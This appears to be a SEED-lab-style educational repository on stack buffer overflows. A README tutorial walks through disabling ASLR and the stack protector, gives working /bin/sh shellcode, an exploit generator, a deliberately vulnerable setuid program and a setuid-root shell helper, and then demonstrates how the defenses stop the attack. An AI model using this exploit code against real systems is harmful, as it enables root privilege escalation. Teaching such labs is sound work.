├── README.md ├── call_shellcode.c ├── exploit.c ├── set_uid_root.c └── stack.c /README.md: -------------------------------------------------------------------------------- 1 | # Buffer Overflow Vulnerability 2 | 3 | This is a short tutorial on running a simple buffer overflow on a virtual machine 4 | running Ubuntu. It shows how one can use a buffer overflow to obtain a root 5 | shell. The end of the tutorial also demonstrates how two defenses in the Ubuntu 6 | OS prevent the simple buffer overflow attack implemented here. 7 | 8 | This tutorial leverages the paper written by alephOne on buffer overflows: 9 | 10 | 11 | ## Initial Setup of the Virtual Machine 12 | 13 | Let us first go through the initial setup of the virtual machine used to 14 | experiment with buffer overflow. The virtual machine used runs Ubuntu OS `12.04 15 | LTS`. To make our attack easier, we first need to disable address space 16 | randomization, a defense against buffer overflows making guessing addrsses in 17 | the heap and stack more difficult. To do so, we simply need to run the 18 | following command under root privileges: 19 | 20 | ``` 21 | su root 22 | sysctl -w kernel.randomize_va_space=0 23 | ``` 24 | 25 | A confirmation of the variable's value is printed `kernel.randomize_va_space = 0` 26 | by the terminal. 27 | 28 | ## Example of a Shellcode 29 | 30 | The file `call_shellcode.c` containes an example shellcode, which allows one to 31 | store a `char` in a buffer and then call the shell by a buffer overflow. To run 32 | the shell, we can compile `call_shellcode.c` using the executable stack option 33 | in `gcc`. Running the program `./call_shellcode` from the terminal starts a 34 | shell, which can for instance be used to run programs (e.g., `vim`). 35 | 36 | This shellcode was however not injected so this example does not really 37 | correspond to a realistic threat model. Instead, we now show how one can inject 38 | the buffer using a file loaded by a vulnerable program. 39 | 40 | ## Vulnerable Program 41 | 42 | The vulnerable program is provided in the `stack.c` file. It needs to be made 43 | a set-root-uid in order for the adversary exploiting the buffer overflow to be 44 | able to gain access to a root shell. For that purpose, we compile the file using 45 | root privileges. Furthermore, if `GCC>4.3.3` is used, since the Stack Guard 46 | option is enabled by default, one needs to disable it at compile time (cf. 47 | below). Note that we also use the executable stack option (to be able to run 48 | our shellcode from the buffer). Finally, to make the file executable, we `chmod` 49 | the permissions to `4755` on the compiled program `stack`. 50 | 51 | ``` 52 | su root 53 | gcc -o stack -z execstack -fno-stack-protector stack.c 54 | chmod 4755 stack 55 | ``` 56 | 57 | ## Exploiting the Vulnerability: Demonstration of the Buffer Overflow Attack 58 | 59 | We now need to craft the `badfile` file that will be read by this vulnerable 60 | program 'stack' and stored in the buffer, which will be overflowed. The file 61 | `exploit.c` contains code that dumps the buffer that will be read by the 62 | vulnerable program. The code is well commented and should be fairly 63 | understandable and leverages sample code provided in the paper by alephOne. 64 | 65 | To demonstrate the buffer flow attack, we run the following commands: 66 | 67 | ``` 68 | gcc -o exploit exploit.c 69 | ./exploit 70 | ./stack 71 | ``` 72 | 73 | This simply compiles and runs the exploit file. The exploit file evaluates the 74 | stack pointer and crafts a buffer (with the stack pointer and the shellcode) 75 | and saves it to `badfile`. The vulnerable program `stack` is then executed, it 76 | reads the file `badfile` and loads the buffer, which triggers the buffer overflow 77 | and executes the shellcode, thus giving us a root shell (designated by `#`). 78 | 79 | Note that the root shell we have obtained is still using our user ID, as proved 80 | by running the `id` command. To solve this and have both the real and effective 81 | user ids set to root, one can run the included `set_uid_root.c` file. 82 | 83 | ## Address Randomization: a first defense 84 | 85 | One can set Ubuntu's address randomization back on using: 86 | 87 | ``` 88 | $ su root 89 | # /sbin/sysctl -w kernel.randomize_va_space=2 90 | ``` 91 | 92 | Running the attack described in the previous section gives a 93 | `segmentation fault (core dumped)` error because the address is randomized each 94 | time the program is executed. Therefore, the stack pointer is different and the 95 | `exploit.c` program will not set the address properly anymore for the buffer 96 | flow to run the shellcode. 97 | 98 | ## Stack Guard: a second defense 99 | 100 | To analyze one defense at a time, it is best to first turn off again address 101 | randomization, as performed in the initial setup. One can then repeat the 102 | buffer overflow attack but this time compiling the vulnerable program `stack` 103 | with the Stack Guard protection mechanism (i.e. removing the flag previously 104 | used: `-fno-stack-protector`). 105 | 106 | ``` 107 | su root 108 | gcc -o stack -z execstack stack.c 109 | ``` 110 | 111 | This time, the Stack Guard option in `gcc` was able to allow us to detect the 112 | smashing attemp. This effectively terminates the program and prevents the 113 | attack. Here is a screen dump: 114 | 115 | ``` 116 | *** stack smashing detected ***: ./stack terminated 117 | ======= Backtrace: ========= 118 | /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb7f240e5] 119 | /lib/i386-linux-gnu/libc.so.6(+0x10409a)[0xb7f2409a] 120 | ./stack[0x8048513] 121 | [0xbffff33c] 122 | [0x2f6850c0] 123 | ======= Memory map: ======== 124 | 08048000-08049000 r-xp 00000000 08:01 1582540 /home/***/Documents/stack 125 | 08049000-0804a000 r-xp 00000000 08:01 1582540 /home/***/Documents/stack 126 | 0804a000-0804b000 rwxp 00001000 08:01 1582540 /home/***/Documents/stack 127 | 0804b000-0806c000 rwxp 00000000 00:00 0 [heap] 128 | b7def000-b7e0b000 r-xp 00000000 08:01 2360149 /lib/i386-linux-gnu/libgcc_s.so.1 129 | b7e0b000-b7e0c000 r-xp 0001b000 08:01 2360149 /lib/i386-linux-gnu/libgcc_s.so.1 130 | b7e0c000-b7e0d000 rwxp 0001c000 08:01 2360149 /lib/i386-linux-gnu/libgcc_s.so.1 131 | b7e1f000-b7e20000 rwxp 00000000 00:00 0 132 | b7e20000-b7fc3000 r-xp 00000000 08:01 2360304 /lib/i386-linux-gnu/libc-2.15.so 133 | b7fc3000-b7fc5000 r-xp 001a3000 08:01 2360304 /lib/i386-linux-gnu/libc-2.15.so 134 | b7fc5000-b7fc6000 rwxp 001a5000 08:01 2360304 /lib/i386-linux-gnu/libc-2.15.so 135 | b7fc6000-b7fc9000 rwxp 00000000 00:00 0 136 | b7fd9000-b7fdd000 rwxp 00000000 00:00 0 137 | b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso] 138 | b7fde000-b7ffe000 r-xp 00000000 08:01 2364405 /lib/i386-linux-gnu/ld-2.15.so 139 | b7ffe000-b7fff000 r-xp 0001f000 08:01 2364405 /lib/i386-linux-gnu/ld-2.15.so 140 | b7fff000-b8000000 rwxp 00020000 08:01 2364405 /lib/i386-linux-gnu/ld-2.15.so 141 | bffdf000-c0000000 rwxp 00000000 00:00 0 [stack] 142 | Aborted (core dumped) 143 | ``` 144 | 145 | ## How to contact me 146 | 147 | Ways to get in touch with me: 148 | * Twitter: 149 | * Webpage: 150 | 151 | ## License 152 | 153 | This was adapted from a SEED lab. 154 | 155 | Permission is hereby granted, free of charge, to any person obtaining a copy 156 | of this software and associated documentation files (the "Software"), to deal 157 | in the Software without restriction, including without limitation the rights 158 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 159 | copies of the Software, and to permit persons to whom the Software is 160 | furnished to do so, subject to the following conditions: 161 | 162 | The above copyright notice and this permission notice shall be included in 163 | all copies or substantial portions of the Software. 164 | 165 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 166 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 167 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 168 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 169 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 170 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 171 | THE SOFTWARE. 172 | 173 | 174 | 175 | 176 | 177 | 178 | -------------------------------------------------------------------------------- /call_shellcode.c: -------------------------------------------------------------------------------- 1 | /* call_shellcode.c */ 2 | /*A program that creates a file containing code for launching shell*/ 3 | #include 4 | #include 5 | #include 6 | const char code[] = 7 | "\x31\xc0" /* Line 1: xorl %eax,%eax */ 8 | "\x50" /* Line 2: pushl %eax */ 9 | "\x68""//sh" /* Line 3: pushl $0x68732f2f */ 10 | "\x68""/bin" /* Line 4: pushl $0x6e69622f */ 11 | "\x89\xe3" /* Line 5: movl %esp,%ebx */ 12 | "\x50" /* Line 6: pushl %eax */ 13 | "\x53" /* Line 7: pushl %ebx */ 14 | "\x89\xe1" /* Line 8: movl %esp,%ecx */ 15 | "\x99" /* Line 9: cdq */ 16 | "\xb0\x0b" /* Line 10: movb $0x0b,%al */ 17 | "\xcd\x80" /* Line 11: int $0x80 */ 18 | ; 19 | 20 | int main(int argc, char **argv) 21 | { 22 | char buf[sizeof(code)]; 23 | strcpy(buf, code); 24 | ((void(*)( ))buf)( ); 25 | } 26 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | /* exploit.c */ 2 | 3 | /* A program that creates a file containing code for launching shell */ 4 | #include 5 | #include 6 | #include 7 | char shellcode[]= 8 | "\x31\xc0" /* xorl %eax,%eax */ 9 | "\x50" /* pushl %eax */ 10 | "\x68""//sh" /* pushl $0x68732f2f */ 11 | "\x68""/bin" /* pushl $0x6e69622f */ 12 | "\x89\xe3" /* movl %esp,%ebx */ 13 | "\x50" /* pushl %eax */ 14 | "\x53" /* pushl %ebx */ 15 | "\x89\xe1" /* movl %esp,%ecx */ 16 | "\x99" /* cdql */ 17 | "\xb0\x0b" /* movb $0x0b,%al */ 18 | "\xcd\x80" /* int $0x80 */ 19 | ; 20 | 21 | unsigned long get_sp(void) 22 | { 23 | /* This function (suggested in alephOne's paper) prints the 24 | stack pointer using assembly code. */ 25 | __asm__("movl %esp,%eax"); 26 | } 27 | 28 | void main(int argc, char **argv) 29 | { 30 | char buffer[517]; 31 | FILE *badfile; 32 | 33 | /* Initialize buffer with 0x90 (NOP instruction) */ 34 | memset(&buffer, 0x90, 517); 35 | 36 | /* You need to fill the buffer with appropriate contents here */ 37 | 38 | /* Initialization of variables (cf. alephOne's tutorial) */ 39 | char *ptr; 40 | long *addr_ptr, addr; 41 | int offset = 200, bsize = 517; 42 | int i; 43 | 44 | addr = get_sp() + offset; 45 | 46 | ptr = buffer; 47 | addr_ptr = (long*)(ptr); 48 | 49 | /* First, fill with the buffer address 50 | This is slightly adapted from alephOne's tutorial 51 | because gcc detected it as a smashing attempt */ 52 | for (i = 0; i < 10; i++) 53 | *(addr_ptr++) = addr; 54 | 55 | /* We now fill the rest of the buffer with our shellcode 56 | which was provided above. Again, this is slightly 57 | adapted from alephOne's tutorial because gcc 58 | detected it as a smashing attempt */ 59 | for (i = 0; i < strlen(shellcode); i++) 60 | buffer[bsize - (sizeof(shellcode) + 1) + i] = shellcode[i]; 61 | 62 | /* Finally, we insert a NULL code at the very end of the buffer */ 63 | buffer[bsize - 1] = '\0'; 64 | 65 | /* Save the contents to the file "badfile" */ 66 | badfile = fopen("./badfile", "w"); 67 | fwrite(buffer, 517, 1, badfile); 68 | fclose(badfile); 69 | } 70 | -------------------------------------------------------------------------------- /set_uid_root.c: -------------------------------------------------------------------------------- 1 | void main() 2 | { 3 | setuid(0); system("/bin/sh"); 4 | } 5 | -------------------------------------------------------------------------------- /stack.c: -------------------------------------------------------------------------------- 1 | /* stack.c */ 2 | /* This program has a buffer overflow vulnerability. */ 3 | /* Our task is to exploit this vulnerability */ 4 | #include 5 | #include 6 | #include 7 | int bof(char *str) 8 | { 9 | char buffer[24]; 10 | /* The following statement has a buffer overflow problem */ 11 | 12 | strcpy(buffer, str); 13 | return 1; 14 | } 15 | 16 | int main(int argc, char **argv) 17 | { 18 | char str[517]; 19 | FILE *badfile; 20 | badfile = fopen("badfile", "r"); 21 | fread(str, sizeof(char), 517, badfile); 22 | bof(str); 23 | printf("Returned Properly\n"); 24 | return 1; 25 | } 26 | 27 | --------------------------------------------------------------------------------